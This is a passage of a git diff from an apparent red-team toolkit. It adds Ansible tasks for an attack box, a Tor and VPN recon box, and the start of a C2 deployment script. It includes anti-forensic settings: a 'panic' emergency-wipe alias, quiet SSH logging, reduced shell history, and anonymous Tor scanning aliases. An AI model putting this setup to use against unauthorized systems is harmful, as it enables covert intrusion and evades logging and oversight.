f.write("SCAN_DIR=\"../../scans\"\n\n") + f.write("echo \"[+] Quick enumeration of $TARGET\"\n") + f.write("echo \"[+] Results will be saved to $SCAN_DIR\"\n\n") + f.write("# Quick nmap scan\n") + f.write("echo \"[+] Running quick nmap scan...\"\n") + f.write("nmap -sS -T4 --top-ports 1000 -oN \"$SCAN_DIR/nmap/quick_scan_${TARGET}_${DATE}.txt\" $TARGET\n\n") + f.write("# Check for web services\n") + f.write("echo \"[+] Checking for web services...\"\n") + f.write("if nmap -p 80,443,8080,8443 --open $TARGET | grep -q open; then\n") + f.write(" echo \"[+] Web services found, running quick web enum...\"\n") + f.write(" gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o \"$SCAN_DIR/web/gobuster_${TARGET}_${DATE}.txt\" -q\n") + f.write("fi\n\n") + f.write("echo \"[+] Quick enumeration complete\"\n") + + os.chmod(quick_enum_script, 0o755) + + print(f"[+] Penetration testing structure created successfully") + print(f"[*] Add targets to: {target_template}") + print(f"[*] Engagement log: {engagement_log}") + print(f"[*] Quick enum script: {quick_enum_script}") + + return base_dir + +if __name__ == "__main__": + import sys + import getpass + + if len(sys.argv) > 1: + workspace_name = sys.argv[1] + else: + workspace_name = f"/root/operator" + + operator = getpass.getuser() + create_workspace_structure(workspace_name, operator) diff --git a/modules/attack-box/tasks/configure_attack_box.yml b/modules/attack-box/tasks/configure_attack_box.yml new file mode 100644 index 0000000..864dcc7 --- /dev/null +++ b/modules/attack-box/tasks/configure_attack_box.yml @@ -0,0 +1,752 @@ +--- +# Attack Box Configuration Tasks +# Creates /root/ workspace structure + +- name: Set user variables for headless deployment + ansible.builtin.set_fact: + target_user: "root" + user_home: "/root" + # Always use deployment_id for directory name (no hardcoded operator aliases) + work_dir: "{{ work_dir | default('/root/' + deployment_id) }}" + tool_name: "{{ tool_name | default('toolkit' if enhanced_opsec | default(false) else 'trashpanda') }}" + project_name: "{{ project_name | default(deployment_id) }}" + +- name: Display attack box configuration start + debug: + msg: | + ================================================================ + ATTACK BOX CONFIGURATION STARTED + ================================================================ + Deployment ID: {{ deployment_id }} + Target: {{ ansible_host }} + OPSEC Mode: {{ 'Enhanced' if enhanced_opsec | default(false) else 'Standard' }} + Working Directory: {{ work_dir }} + Configuration Steps: + 1. Create {{ 'secure' if enhanced_opsec | default(false) else 'TrashPanda' }} directory structure + 2. Install base packages (~100 packages) + 3. Install pipx and Python tools (~30 tools) + 4. Install Go tools (~12 tools) + 5. Clone Git repositories (~20 repositories) + 6. Configure scripts and automation + 7. Set up PATH and environment + + This process may take 30-60 minutes depending on network speed. + Progress will be displayed for each step. + ================================================================ + +- name: Record configuration start time + set_fact: + config_start_time: "{{ ansible_date_time.epoch }}" + +- name: Create TrashPanda directory structure + ansible.builtin.file: + path: "{{ item }}" + state: directory + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0755' + loop: + # Main TrashPanda directories (exactly like trashpanda.py) + - "{{ work_dir }}" + - "{{ work_dir }}/tools" + - "{{ work_dir }}/scans" + - "{{ work_dir }}/logs" + - "{{ work_dir }}/loot" + - "{{ work_dir }}/payloads" + - "{{ work_dir }}/targets" + - "{{ work_dir }}/screenshots" + - "{{ work_dir }}/reports" + - "{{ work_dir }}/notes" + - "{{ work_dir }}/exploits" + - "{{ work_dir }}/wordlists" + - "{{ work_dir }}/pcaps" + # Scan subdirectories (exactly like trashpanda.py) + - "{{ work_dir }}/scans/nmap" + - "{{ work_dir }}/scans/dns" + - "{{ work_dir }}/scans/snmp" + - "{{ work_dir }}/scans/smb" + - "{{ work_dir }}/scans/web" + - "{{ work_dir }}/scans/ssl" + - "{{ work_dir }}/scans/vulns" + - "{{ work_dir }}/scans/ldap" + - "{{ work_dir }}/scans/ftp" + - "{{ work_dir }}/scans/ssh" + - "{{ work_dir }}/scans/databases" + - "{{ work_dir }}/scans/custom" + - "{{ work_dir }}/scans/reachability" + # Loot subdirectories (exactly like trashpanda.py) + - "{{ work_dir }}/loot/credentials" + - "{{ work_dir }}/loot/hashes" + - "{{ work_dir }}/loot/keys" + - "{{ work_dir }}/loot/configs" + - "{{ work_dir }}/loot/databases" + - "{{ work_dir }}/loot/files" + # Tools subdirectories for organization + - "{{ work_dir }}/tools/scripts" + - "{{ work_dir }}/tools/windows" + - "{{ work_dir }}/tools/linux" + - "{{ work_dir }}/tools/web" + - "{{ work_dir }}/tools/wireless" + - "{{ work_dir }}/tools/privesc" + +# Attack Box Configuration +# Uses TrashPanda directory structure under /root/ + +- name: Update package cache only (avoid grub-pc issues) + apt: + update_cache: yes + cache_valid_time: 3600 + retries: 3 + delay: 10 + +- name: Install base packages with progress feedback + ansible.builtin.apt: + name: "{{ item }}" + state: present + update_cache: yes + loop: + - curl + - wget + - git + - vim + - htop + - screen + - tmux + - python3 + - python3-pip + - python3-venv + - python3-dev + - build-essential + - binutils + - hashcat + - john + - hydra + - aircrack-ng + - recon-ng + - exploitdb + - gobuster + - dirb + - nikto + - whatweb + - wapiti + - uniscan + - theharvester + - dnsenum + - dnsmap + - dnsutils + - whois + - netcat-traditional + - netcat-openbsd + - socat + - ncat + - nmap + - masscan + - unicornscan + - hping3 + - tcpdump + - tshark + - dsniff + - arp-scan + - nbtscan + - enum4linux + - smbclient + - rpcclient + - showmount + - rpcinfo + - snmp + - snmp-mibs-downloader + - onesixtyone + - ldap-utils + - sslscan + - sslyze + - testssl.sh + - openssl + - ike-scan + - sleuthkit + - autopsy + - foremost + - scalpel + - binwalk + - exiftool + - steghide + - outguess + - stegosuite + - hexedit + - ghex + - bless + - radare2 + - gdb + - valgrind + - ltrace + - strace + - lsof + - psmisc + - tree + - file + - less + - most + - unzip + - p7zip-full + - rar + - unrar + - cabextract + - cpio + - binutils-dev + - libc6-dev + - gcc + - g++ + - make + - cmake + - autoconf + - automake + - libtool + - pkg-config + - libssl-dev + - libffi-dev + - libxml2-dev + - libxslt1-dev + - zlib1g-dev + - libjpeg-dev + - libpng-dev + - libgif-dev + - libfreetype6-dev + - libmagic-dev + - libpcap-dev + - libnetfilter-queue-dev + - libnfnetlink-dev + - libdnet-dev + - libpcre3-dev + - libgtk2.0-dev + - libgtk-3-dev + register: apt_install_result + ignore_errors: true + +- name: Show package installation progress + debug: + msg: "Package {{ item.item }} installation: {{ 'SUCCESS' if item.changed else 'ALREADY INSTALLED' }}" + loop: "{{ apt_install_result.results }}" + when: apt_install_result.results is defined + +- name: Check if pipx is available + ansible.builtin.command: pipx --version + register: pipx_version_check + failed_when: false + +- name: Install pipx if not available + ansible.builtin.apt: + name: pipx + state: present + update_cache: yes + when: pipx_version_check.rc != 0 + retries: 2 + delay: 5 + +- name: Display pipx availability + debug: + msg: "Pipx version: {{ pipx_version_check.stdout if pipx_version_check.rc == 0 else 'Pipx was not found but has been installed' }}" + +- name: Ensure pipx is properly configured + ansible.builtin.shell: pipx ensurepath + args: + executable: /bin/bash + register: pipx_ensurepath_result + failed_when: false + +- name: Display pipx configuration result + debug: + msg: "Pipx ensurepath: {{ pipx_ensurepath_result.stdout }}" + +- name: Upload pipx tools installation script + ansible.builtin.copy: + src: "../../modules/attack-box/files/install_pipx_tools.sh" + dest: /tmp/install_pipx_tools.sh + mode: '0755' + +- name: Execute pipx tools installation script + ansible.builtin.shell: /tmp/install_pipx_tools.sh + register: pipx_install_result + ignore_errors: true + +- name: Display pipx installation summary + debug: + msg: | + Pipx installation completed! + Check the detailed output above for individual tool status. + Full output captured in deployment logs. + +- name: Display pipx installation status + debug: + msg: "Pipx installation {{ 'completed successfully' if pipx_install_result.rc == 0 else 'completed with some failures' }}" + when: pipx_install_result is defined + +- name: Install additional Python packages via pip3 (for libraries) + ansible.builtin.pip: + name: + - requests + - beautifulsoup4 + - lxml + - selenium + - paramiko + - capstone + - keystone-engine + - unicorn + - dnspython + - netaddr + - python-nmap + state: present + executable: pip3 + retries: 2 + delay: 5 + ignore_errors: true + +- name: Check if Go is available + ansible.builtin.command: go version + register: go_version_check + failed_when: false + +- name: Display Go version + debug: + msg: "Go version: {{ go_version_check.stdout if go_version_check.rc == 0 else 'Go not found - skipping Go tools installation' }}" + +- name: Upload Go tools installation script + ansible.builtin.copy: + src: "../files/install_go_tools.sh" + dest: /tmp/install_go_tools.sh + mode: '0755' + +- name: Execute Go tools installation script + ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_go_tools.sh + register: go_install_result + when: go_version_check.rc == 0 + ignore_errors: true + +- name: Display Go tools installation summary + debug: + msg: | + Go tools installation completed! + Check the detailed output above for individual tool status. + Full output captured in deployment logs. + +- name: Configure PATH for all installed tools + ansible.builtin.blockinfile: + path: /root/.bashrc + block: | + # Attack Box Tool Paths + export WORK_DIR="{{ work_dir }}" + export GOPATH="{{ work_dir }}/tools/go" + export PATH="$PATH:/root/.local/bin" # pipx tools + export PATH="$PATH:/usr/local/go/bin" # Go binary + export PATH="$PATH:$GOPATH/bin" # Go tools + export PATH="$PATH:{{ work_dir }}/tools" # Custom tools + export PATH="$PATH:/opt/metasploit-framework/bin" # Metasploit + + # Useful aliases for attack box + alias workspace="cd {{ work_dir }}" + alias tools="cd {{ work_dir }}/tools" + alias scans="cd {{ work_dir }}/scans" + alias loot="cd {{ work_dir }}/loot" + alias trashpanda="python3 {{ work_dir }}/tools/{{ tool_name }}.py" + alias ll="ls -la" + alias la="ls -la" + # Persistent tmux socket (prevents /tmp cleanup from killing sessions) + export TMUX_TMPDIR="/root/.local/share/tmux" + marker: "# {mark} ATTACK BOX CONFIGURATION" + create: yes + +- name: Create persistent tmux socket directory + ansible.builtin.file: + path: /root/.local/share/tmux + state: directory + mode: '0700' + +- name: Source bashrc to apply PATH changes + ansible.builtin.shell: source /root/.bashrc + args: + executable: /bin/bash + +- name: Upload Git repositories cloning script + ansible.builtin.copy: + src: "../files/install_git_repos.sh" + dest: /tmp/install_git_repos.sh + mode: '0755' + +- name: Execute Git repositories cloning script + ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_git_repos.sh + register: git_clone_result + ignore_errors: true + +- name: Display Git repositories cloning summary + debug: + msg: | + Git repositories cloning completed! + Check the detailed output above for individual repository status. + Full output captured in deployment logs. + +- name: Install Metasploit (latest nightly build) + shell: | + cd /tmp + curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall + chmod 755 msfinstall + ./msfinstall + args: + creates: /opt/metasploit-framework/bin/msfconsole + +- name: Copy TrashPanda tool to workspace directory + copy: + src: "../files/{{ tool_name }}.py" + dest: "{{ work_dir }}/tools/{{ tool_name }}.py" + mode: '0755' + owner: "{{ target_user }}" + group: "{{ target_user }}" + when: not (enhanced_opsec | default(false)) + +- name: Copy OPSEC monitoring scripts + copy: + src: "{{ item }}" + dest: "{{ work_dir }}/tools/scripts/" + mode: '0755' + owner: "{{ target_user }}" + group: "{{ target_user }}" + loop: + - "../files/opsec-check.sh" + - "../files/emergency-wipe.sh" + - "../files/trash-cleanup.sh" + +- name: Copy OPSEC-aware shell aliases + copy: + src: "../files/clean-shell-aliases" + dest: "{{ work_dir }}/tools/scripts/shell-aliases" + mode: '0644' + owner: "{{ target_user }}" + group: "{{ target_user }}" + when: enhanced_opsec | default(false) + +- name: Copy automation scripts to tools directory + copy: + src: "{{ item }}" + dest: "{{ work_dir }}/tools/scripts/" + mode: '0755' + owner: "{{ target_user }}" + group: "{{ target_user }}" + with_fileglob: + - "../files/*.sh" + - "../files/*.py" + when: not (enhanced_opsec | default(false)) + +- name: Create engagement log file + copy: + content: | + # Engagement Log - {{ ansible_date_time.iso8601 }} + # Attack Box Deployment: {{ attack_box_name | default('attack-box') }} + # IP Address: {{ ansible_default_ipv4.address | default('N/A') }} + # + # Directory Structure: + # {{ work_dir }}/tools/ - Downloaded/compiled tools and scripts + # {{ work_dir }}/scans/ - All scan results organized by type + # {{ work_dir }}/logs/ - Execution logs and debug output + # {{ work_dir }}/loot/ - Extracted credentials, hashes, and sensitive data + # {{ work_dir }}/payloads/ - Custom payloads and exploit code + # {{ work_dir }}/targets/ - Target lists and reconnaissance data + # {{ work_dir }}/screenshots/ - Visual evidence and GUI captures + # {{ work_dir }}/reports/ - Draft reports and documentation + # {{ work_dir }}/notes/ - Manual notes and observations + # {{ work_dir }}/exploits/ - Working exploits and proof-of-concepts + # {{ work_dir }}/wordlists/ - Custom and downloaded wordlists + # {{ work_dir }}/pcaps/ - Network captures and traffic analysis + # + # Log started: {{ ansible_date_time.iso8601 }} + + dest: "{{ work_dir }}/logs/engagement.log" + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0644' + +- name: Create initial target template + copy: + content: | + # Target List Template + # Add targets one per line in various formats: + # + # Individual IPs: + # 192.168.1.10 + # 10.0.0.5 + # + # IP Ranges: + # 192.168.1.1-254 + # 10.0.0.1-50 + # + # CIDR Notation: + # 192.168.1.0/24 + # 10.0.0.0/16 + # + # Hostnames: + # target.example.com + # www.example.com + + dest: "{{ work_dir }}/targets/targets.txt" + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0644' + force: no + +- name: Create bash aliases for workflow (OPSEC mode) + lineinfile: + path: "{{ user_home }}/.bashrc" + line: "{{ item }}" + create: yes + loop: + - "# Attack Box Aliases" + - "export WORK_DIR='{{ work_dir }}'" + - "alias ops='cd {{ work_dir }}'" + - "alias tools='cd {{ work_dir }}/tools'" + - "alias scans='cd {{ work_dir }}/scans'" + - "alias loot='cd {{ work_dir }}/loot'" + - "alias targets='cd {{ work_dir }}/targets'" + - "alias reports='cd {{ work_dir }}/reports'" + - "alias logs='cd {{ work_dir }}/logs'" + - "alias toolkit='python3 {{ work_dir }}/tools/toolkit.py'" + - "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'" + - "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'" + - "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'" + - "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'" + - "alias opsec='{{ work_dir }}/tools/scripts/opsec-check.sh'" + - "alias panic='{{ work_dir }}/tools/scripts/emergency-wipe.sh'" + - "alias clean='{{ work_dir }}/tools/scripts/trash-cleanup.sh'" + when: enhanced_opsec | default(false) + +- name: Create bash aliases for workflow (Standard mode) + lineinfile: + path: "{{ user_home }}/.bashrc" + line: "{{ item }}" + create: yes + loop: + - "# Attack Box Aliases" + - "export WORK_DIR='{{ work_dir }}'" + - "alias workspace='cd {{ work_dir }}'" + - "alias tools='cd {{ work_dir }}/tools'" + - "alias scans='cd {{ work_dir }}/scans'" + - "alias loot='cd {{ work_dir }}/loot'" + - "alias targets='cd {{ work_dir }}/targets'" + - "alias reports='cd {{ work_dir }}/reports'" + - "alias logs='cd {{ work_dir }}/logs'" + - "alias trashpanda='python3 {{ work_dir }}/tools/{{ tool_name }}.py'" + - "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'" + - "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'" + - "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'" + - "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'" + when: not (enhanced_opsec | default(false)) + +- name: Set Go path in bashrc + lineinfile: + path: "{{ user_home }}/.bashrc" + line: "{{ item }}" + create: yes + loop: + - "export GOPATH={{ work_dir }}/tools/go" + - "export PATH=$PATH:{{ work_dir }}/tools/go/bin" + +- name: Load OPSEC shell aliases (Enhanced OPSEC mode) + blockinfile: + path: "{{ user_home }}/.bashrc" + block: | + # OPSEC-aware shell aliases + source {{ work_dir }}/tools/scripts/shell-aliases + marker: "# {mark} OPSEC SHELL ALIASES" + create: yes + when: enhanced_opsec | default(false) + +- name: Configure hardened SSH (Enhanced OPSEC mode) + blockinfile: + path: "/etc/ssh/sshd_config" + block: | + # OPSEC hardened SSH configuration + LogLevel QUIET + TCPKeepAlive no + ClientAliveInterval 300 + ClientAliveCountMax 2 + MaxAuthTries 3 + MaxSessions 2 + LoginGraceTime 60 + marker: "# {mark} OPSEC SSH HARDENING" + backup: yes + when: enhanced_opsec | default(false) + register: ssh_config_changed + +- name: Restart SSH service if configuration changed + service: + name: ssh + state: restarted + when: enhanced_opsec | default(false) and ssh_config_changed.changed + +- name: Disable bash history for OPSEC (Enhanced OPSEC mode) + lineinfile: + path: "{{ user_home }}/.bashrc" + line: "{{ item }}" + create: yes + loop: + - "# OPSEC: Minimize command history" + - "export HISTSIZE=100" + - "export HISTFILESIZE=100" + - "export HISTCONTROL=ignoreboth:erasedups" + when: enhanced_opsec | default(false) + +- name: Set up Tor if requested + block: + - name: Configure Tor + copy: + content: | + SocksPort 9050 + ControlPort 9051 + CookieAuthentication 1 + DataDirectory /var/lib/tor + dest: /etc/tor/torrc + backup: yes + + - name: Start and enable Tor + systemd: + name: tor + state: started + enabled: yes + + - name: Configure proxychains for Tor + replace: + path: /etc/proxychains4.conf + regexp: '^socks4.*127\.0\.0\.1.*9050.*$' + replace: 'socks5 127.0.0.1 9050' + when: setup_tor | default(false) + +- name: Create themes directory + ansible.builtin.file: + path: "{{ work_dir }}/tools/themes" + state: directory + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0755' + +- name: Upload terminal theme installer script + ansible.builtin.copy: + src: "../files/install_terminal_themes.sh" + dest: "{{ work_dir }}/tools/scripts/install_terminal_themes.sh" + mode: '0755' + owner: "{{ target_user }}" + group: "{{ target_user }}" + +- name: Upload DC27 dconf theme file + ansible.builtin.copy: + src: "../files/dc27-theme.dconf" + dest: "{{ work_dir }}/tools/themes/dc27-theme.dconf" + mode: '0644' + owner: "{{ target_user }}" + group: "{{ target_user }}" + +- name: Add terminal theme alias to bashrc + lineinfile: + path: "{{ user_home }}/.bashrc" + line: "alias install-themes='WORK_DIR={{ work_dir }} {{ work_dir }}/tools/scripts/install_terminal_themes.sh'" + create: yes + +- name: Execute terminal theme installer during deployment + ansible.builtin.shell: WORK_DIR="{{ work_dir }}" {{ work_dir }}/tools/scripts/install_terminal_themes.sh + args: + executable: /bin/bash + register: theme_install_result + when: install_terminal_themes | default(false) + ignore_errors: true + +- name: Display terminal theme installation result + debug: + msg: "Terminal themes {{ 'installed' if theme_install_result.rc == 0 else 'installation had issues (non-critical)' }}" + when: install_terminal_themes | default(false) and theme_install_result is defined + +- name: Update locate database + command: updatedb + ignore_errors: true + +- name: Calculate configuration duration + set_fact: + config_end_time: "{{ ansible_date_time.epoch }}" + config_duration: "{{ (ansible_date_time.epoch|int - config_start_time|int) // 60 }}" + +- name: Display attack box configuration summary + debug: + msg: | + ================================================================ + ATTACK BOX CONFIGURATION COMPLETED + ================================================================ + Deployment ID: {{ deployment_id }} + Target: {{ ansible_host }} + Configuration Duration: {{ config_duration }} minutes + + Directory Structure: {{ work_dir }} + โ”œโ”€โ”€ docs/ - Documentation and notes + โ”œโ”€โ”€ exploits/ - Exploit development + โ”œโ”€โ”€ loot/ - Extracted data and findings + โ”œโ”€โ”€ reports/ - Assessment reports + โ”œโ”€โ”€ scripts/ - Custom automation scripts + โ”œโ”€โ”€ tools/ - Security tools + โ”‚ โ”œโ”€โ”€ go/bin/ - Go-based tools + โ”‚ โ””โ”€โ”€ git/ - Git repositories + โ””โ”€โ”€ wordlists/ - Custom wordlists + + Tools Installed: + - Base packages: ~100 security tools + - Python tools: ~30 tools via pipx + - Go tools: ~12 reconnaissance tools + - Git repositories: ~20 tool repositories + + Environment: + - PATH configured for all tools + - pipx tools accessible system-wide + - Go tools in {{ work_dir }}/tools/go/bin + + Next Steps: + 1. SSH into the box: ssh -i a-{{ deployment_id }} root@{{ ansible_host }} + 2. Navigate to working directory: cd {{ work_dir }} + 3. Start your assessment activities + + ================================================================ + +- name: Display setup completion information (OPSEC mode) + debug: + msg: + - "Attack Box Setup Complete!" + - "" + - "Main Directory: {{ work_dir }}" + - "Tools Location: {{ work_dir }}/tools" + - "Scan Results: {{ work_dir }}/scans" + - "Loot Storage: {{ work_dir }}/loot" + - "" + - "Quick Commands:" + - " ops - Go to main directory" + - " toolkit [targets] - Run toolkit enumeration" + - " recon - Run reconnaissance automation" + - " portscan - Run port scan automation" + - " webenum - Run web enumeration automation" + - " attack-menu - Launch manual testing menu" + - " opsec - Check OPSEC status" + - " panic - Emergency sanitization" + - " clean - Clean operational artifacts" + - "" + - "Start here: {{ work_dir }}/targets/targets.txt" + when: enhanced_opsec | default(false) + +- name: Display setup completion information (Standard mode) + debug: + msg: + - "TrashPanda Attack Box Setup Complete!" + - "" + - "Main Directory: {{ work_dir }}" + - "Tools Location: {{ work_dir }}/tools" + - "Scan Results: {{ work_dir }}/scans" + - "Loot Storage: {{ work_dir }}/loot" + - "" + - "Quick Commands:" + - " workspace - Go to main directory" + - " trashpanda [targets] - Run TrashPanda enumeration" + - " recon - Run reconnaissance automation" + - " portscan - Run port scan automation" + - " webenum - Run web enumeration automation" + - " attack-menu - Launch manual testing menu" + - "" + - "Start here: {{ work_dir }}/targets/targets.txt" + when: not (enhanced_opsec | default(false)) diff --git a/modules/attack-box/tasks/configure_quick_recon.yml b/modules/attack-box/tasks/configure_quick_recon.yml new file mode 100644 index 0000000..e369516 --- /dev/null +++ b/modules/attack-box/tasks/configure_quick_recon.yml @@ -0,0 +1,263 @@ +--- +# Quick Recon Box Configuration - OPSEC + Basic Tools +# Includes Tor, VPN, and basic reconnaissance tools only + +- name: Record configuration start time + set_fact: + config_start_time: "{{ ansible_date_time.epoch }}" + +- name: Display quick recon box configuration info + debug: + msg: | + ================================================================ + CONFIGURING QUICK RECON BOX + ================================================================ + Deployment ID: {{ deployment_id }} + Attack Box Name: {{ attack_box_name }} + Target: OPSEC-focused reconnaissance with basic tools + Features: Tor + VPN + Basic Tools (no complex installations) + ================================================================ + +# Set up variables +- name: Set common variables + set_fact: + target_user: "root" + work_dir: "{{ work_dir | default('/root/' + deployment_id) }}" + deployment_id: "{{ deployment_id }}" + attack_box_name: "{{ attack_box_name }}" + +# Core directories +- name: Create core working directories + ansible.builtin.file: + path: "{{ item }}" + state: directory + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0755' + loop: + - "{{ work_dir }}" + - "{{ work_dir }}/scans" + - "{{ work_dir }}/loot" + - "{{ work_dir }}/notes" + - "/root/tools" + +# Update system and install essential packages +- name: Update package cache + ansible.builtin.apt: + update_cache: yes + cache_valid_time: 3600 + +- name: Install minimal essential tools + OPSEC packages + ansible.builtin.apt: + name: + # Core system tools + - curl + - wget + - git + - vim + - tmux + - htop + - unzip + - python3 + - jq + # Basic network reconnaissance + - nmap + - dnsutils + - whois + - netcat-traditional + - traceroute + # OPSEC tools + - tor + - torsocks + - proxychains4 + - openvpn + - easy-rsa + state: present + install_recommends: no + +- name: Configure Tor for anonymous reconnaissance + ansible.builtin.copy: + content: | + # Tor configuration for Quick Recon Box + DataDirectory /var/lib/tor + PidFile /var/run/tor/tor.pid + RunAsDaemon 1 + User debian-tor + Log notice file /var/log/tor/notices.log + SocksPort 9050 + SocksPolicy accept * + ControlPort 9051 + CookieAuthentication 1 + NewCircuitPeriod 30 + MaxCircuitDirtiness 600 + UseEntryGuards 1 + ExitPolicy accept *:53 + ExitPolicy accept *:80 + ExitPolicy accept *:443 + ExitPolicy accept *:993 + ExitPolicy accept *:995 + ExitPolicy reject *:* + CircuitBuildTimeout 10 + LearnCircuitBuildTimeout 0 + dest: /etc/tor/torrc + backup: yes + +- name: Configure proxychains for Tor routing + ansible.builtin.copy: + content: | + # Proxychains configuration for Tor + strict_chain + proxy_dns + remote_dns_subnet 224 + tcp_read_time_out 15000 + tcp_connect_time_out 8000 + localnet 127.0.0.0/255.0.0.0 + quiet_mode + + [ProxyList] + socks4 127.0.0.1 9050 + dest: /etc/proxychains4.conf + backup: yes + +- name: Start and enable Tor service + ansible.builtin.systemd: + name: tor + state: started + enabled: yes + +# VPN Setup +- name: Create OpenVPN directory structure + ansible.builtin.file: + path: "{{ item }}" + state: directory + mode: '0755' + loop: + - /etc/openvpn/server + - /etc/openvpn/client + - "{{ work_dir }}/vpn" + +- name: Generate basic OpenVPN server config for quick recon + ansible.builtin.copy: + content: | + port 1194 + proto udp + dev tun + server 10.8.0.0 255.255.255.0 + ifconfig-pool-persist ipp.txt + keepalive 10 120 + cipher AES-256-CBC + persist-key + persist-tun + status openvpn-status.log + log-append /var/log/openvpn.log + verb 3 + explicit-exit-notify 1 + dest: /etc/openvpn/server/quick-recon.conf + mode: '0644' + when: setup_vpn | default(false) | bool + +- name: Create VPN client template + ansible.builtin.copy: + content: | + # Quick Recon VPN Client Config + # Server: {{ ansible_default_ipv4.address }} + # Generated: {{ ansible_date_time.iso8601 }} + + client + dev tun + proto udp + remote {{ ansible_default_ipv4.address }} 1194 + resolv-retry infinite + nobind + persist-key + persist-tun + cipher AES-256-CBC + verb 3 + + # Add certificates here: + # + # + # + # + # + # + dest: "{{ work_dir }}/vpn/quick-recon-client.ovpn" + owner: "{{ target_user }}" + group: "{{ target_user }}" + mode: '0644' + when: setup_vpn | default(false) | bool + +# No domain/nginx setup for Quick Recon Box - keep it minimal + +- name: Create quick aliases for OPSEC operations + ansible.builtin.lineinfile: + path: "/root/.bashrc" + line: "{{ item }}" + create: yes + loop: + - "# Quick Recon Box Aliases" + - "alias qr='cd {{ work_dir }}'" + - "alias tor-nmap='torsocks nmap'" + - "alias tor-curl='torsocks curl'" + - "alias check-tor='curl --socks5 127.0.0.1:9050 https://check.torproject.org/api/ip'" + - "export TMUX_TMPDIR=/root/.local/share/tmux" + +- name: Create persistent tmux socket directory + ansible.builtin.file: + path: /root/.local/share/tmux + state: directory + mode: '0700' + +- name: Create simple quick reference + ansible.builtin.copy: + content: | + # Quick Recon Box + + ## Basic Tools Installed: + - nmap, netcat, curl, wget, dig, whois, traceroute, python3 + - tor + torsocks (anonymous operations) + {% if setup_vpn | default(false) %}- openvpn (VPN server){% endif %} + + ## Quick Commands: + - tor-nmap target.com # Anonymous nmap scan + - tor-curl target.com # Anonymous web request + - check-tor # Verify Tor connection + - qr # Go to working directory + + ## Working Directory: {{ work_dir }} + - Scans: {{ work_dir }}/scans/ + - Notes: {{ work_dir }}/notes/ + - Loot: {{ work_dir }}/loot/ + + Add tools as needed: apt install + dest: /root/QUICK_RECON_GUIDE.txt + mode: '0644' + +- name: Final setup completion message + debug: + msg: | + ================================================================ + QUICK RECON BOX SETUP COMPLETE! + ================================================================ + + Basic tools installed: + โœ“ nmap, netcat, curl, wget, dig, whois, traceroute + โœ“ python3, git, vim, tmux, jq + + OPSEC features enabled: + โœ“ Tor proxy (localhost:9050) + โœ“ Torsocks for anonymous operations + โœ“ Proxychains4 configured + {% if setup_vpn | default(false) %}โœ“ OpenVPN server ready{% endif %} + {% if setup_domain | default(false) %}โœ“ Domain {{ domain }} configured{% endif %} + + Quick commands: + โœ“ tor-nmap, tor-curl, tor-dig for anonymous recon + โœ“ check-tor to verify anonymity + โœ“ qr to go to working directory + + Quick Reference: /root/QUICK_RECON_GUIDE.txt + Working Directory: {{ work_dir }} + + Ready for additional tool installation as needed! + ================================================================ diff --git a/modules/attack-box/templates/torrc.j2 b/modules/attack-box/templates/torrc.j2 new file mode 100644 index 0000000..d854cb5 --- /dev/null +++ b/modules/attack-box/templates/torrc.j2 @@ -0,0 +1,36 @@ +# Tor configuration for Quick Recon Box +# Generated: {{ ansible_date_time.iso8601 }} + +# Basic Tor configuration +DataDirectory /var/lib/tor +PidFile /var/run/tor/tor.pid +RunAsDaemon 1 +User debian-tor + +# Logging +Log notice file /var/log/tor/notices.log + +# SOCKS proxy for applications +SocksPort 9050 +SocksPolicy accept * + +# Control port for advanced usage +ControlPort 9051 +CookieAuthentication 1 + +# Circuit settings for better anonymity +NewCircuitPeriod 30 +MaxCircuitDirtiness 600 +UseEntryGuards 1 + +# Exit policy - allow common ports for recon +ExitPolicy accept *:53 # DNS +ExitPolicy accept *:80 # HTTP +ExitPolicy accept *:443 # HTTPS +ExitPolicy accept *:993 # IMAPS +ExitPolicy accept *:995 # POP3S +ExitPolicy reject *:* + +# Performance tuning for reconnaissance +CircuitBuildTimeout 10 +LearnCircuitBuildTimeout 0 diff --git a/modules/c2/__init__.py b/modules/c2/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/modules/c2/deploy_c2.py b/modules/c2/deploy_c2.py new file mode 100644 index 0000000..861a0d4 --- /dev/null +++ b/modules/c2/deploy_c2.py @@ -0,0 +1,316 @@ +#!/usr/bin/env python3 +""" +C2 infrastructure deployment module +""" + +import os +import sys +import logging + +# Add the project root to the path so we can import utils +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input, + archive_old_logs +) +from utils.provider_utils import select_provider, gather_provider_config +from utils.ssh_utils import generate_ssh_key +from utils.naming_utils import get_deployment_name_with_options + +def gather_c2_parameters(): + """Collect parameters specific to C2 deployments""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}========================{COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # C2-specific configuration + print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}") + + # Domain configuration + domain = input(f"Domain for C2 infrastructure [required]: ") + if not domain: + print(f"{COLORS['RED']}A domain is required for C2 